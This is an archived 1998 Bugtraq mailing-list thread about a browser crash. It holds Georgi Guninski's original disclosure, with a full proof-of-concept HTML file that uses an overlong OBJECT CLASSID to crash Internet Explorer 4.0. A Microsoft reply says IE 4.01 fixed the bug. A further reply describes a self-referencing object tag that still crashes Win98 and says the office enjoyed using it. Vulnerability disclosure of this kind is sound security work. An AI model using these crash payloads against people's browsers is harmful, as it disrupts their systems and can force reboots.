Re: Object tag crashes Internet Explorer 4.0

From: Adam Monaghan (adammat_private)
Date: Thu Jul 30 1998 - 09:33:51 PDT

Next message: Bert Amodol: "[Fwd: Winnt 4.3 has been updated]"

Previous message: James Youngman: "Re: FD's 0..2 and suid/sgid procs (Was: Crash a redhat 5.1 linux"
Maybe in reply to: Georgi Guninski: "Object tag crashes Internet Explorer 4.0"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

I hate to question your credibility, but you're wrong, im on win98 with the
latest version of IE and the object tag will crash my browser and trash my
systray just like on any other machine, of course the one we used wasn't the
one at the bottom, you have an html file called the data object <object
data="crashmehtml.html"></object> in other words, put that tag in an html
file called crashmehtml.html. We got a kick out of it in the office


am



-----Original Message-----
From: Jason Garms <jasongat_private>
To: BUGTRAQat_private <BUGTRAQat_private>
Date: Thursday, July 30, 1998 9:33 AM
Subject: Re: Object tag crashes Internet Explorer 4.0


>Georgi,
>
>The bug that caused the browser to crash in this way was fixed in IE 4.01
>(which BTW is what's in Win98). People using 4.01 or 4.01 with SP1 cannot
be
>crashed in this way.
>
>Thanks,
>-JasonG
>
>Jason Garms, JasonGat_private
>Product Manager
>Windows NT Security
>Microsoft Corporation
>
>-----Original Message-----
>From: Georgi Guninski [mailto:guninskiat_private]
>Sent: Tuesday, July 28, 1998 10:11 AM
>To: BUGTRAQat_private
>Subject: Object tag crashes Internet Explorer 4.0
>
>
>The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
>know about other versions/OS).
>The following:
><OBJECT CLASSID=____More than 250 characters here____></OBJECT>
>opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
>or a blue screen with "Fatal exception 0E" and you need to reboot.
>I don't think this is exploitable(?), but it is a bad "feature".
>
>Georgi Guninski
>guninskiat_private
>http://www.geocities.com/ResearchTriangle/1711
>
>-------------------------------------Cut here: Object.html -------
><HTML>
>Trying to crash IE 4.0
><OBJECT
>CLASSID=1111111111111111111111111111111111111111111111111111111111111111111
1
>111111111111111111111111111111111111111111111111111111111111111111111111111
1
>111111111111111111111111111111111111111111111111111111111111111111111111111
1
>111111111111111111111111111111111111111111111111111111111111111111111111111
1
>11111111111111111111111111111111111111111111111111111111111111>
></OBJECT>
></HTML>
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com

Next message: Bert Amodol: "[Fwd: Winnt 4.3 has been updated]"
Previous message: James Youngman: "Re: FD's 0..2 and suid/sgid procs (Was: Crash a redhat 5.1 linux"
Maybe in reply to: Georgi Guninski: "Object tag crashes Internet Explorer 4.0"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:11:03 PDT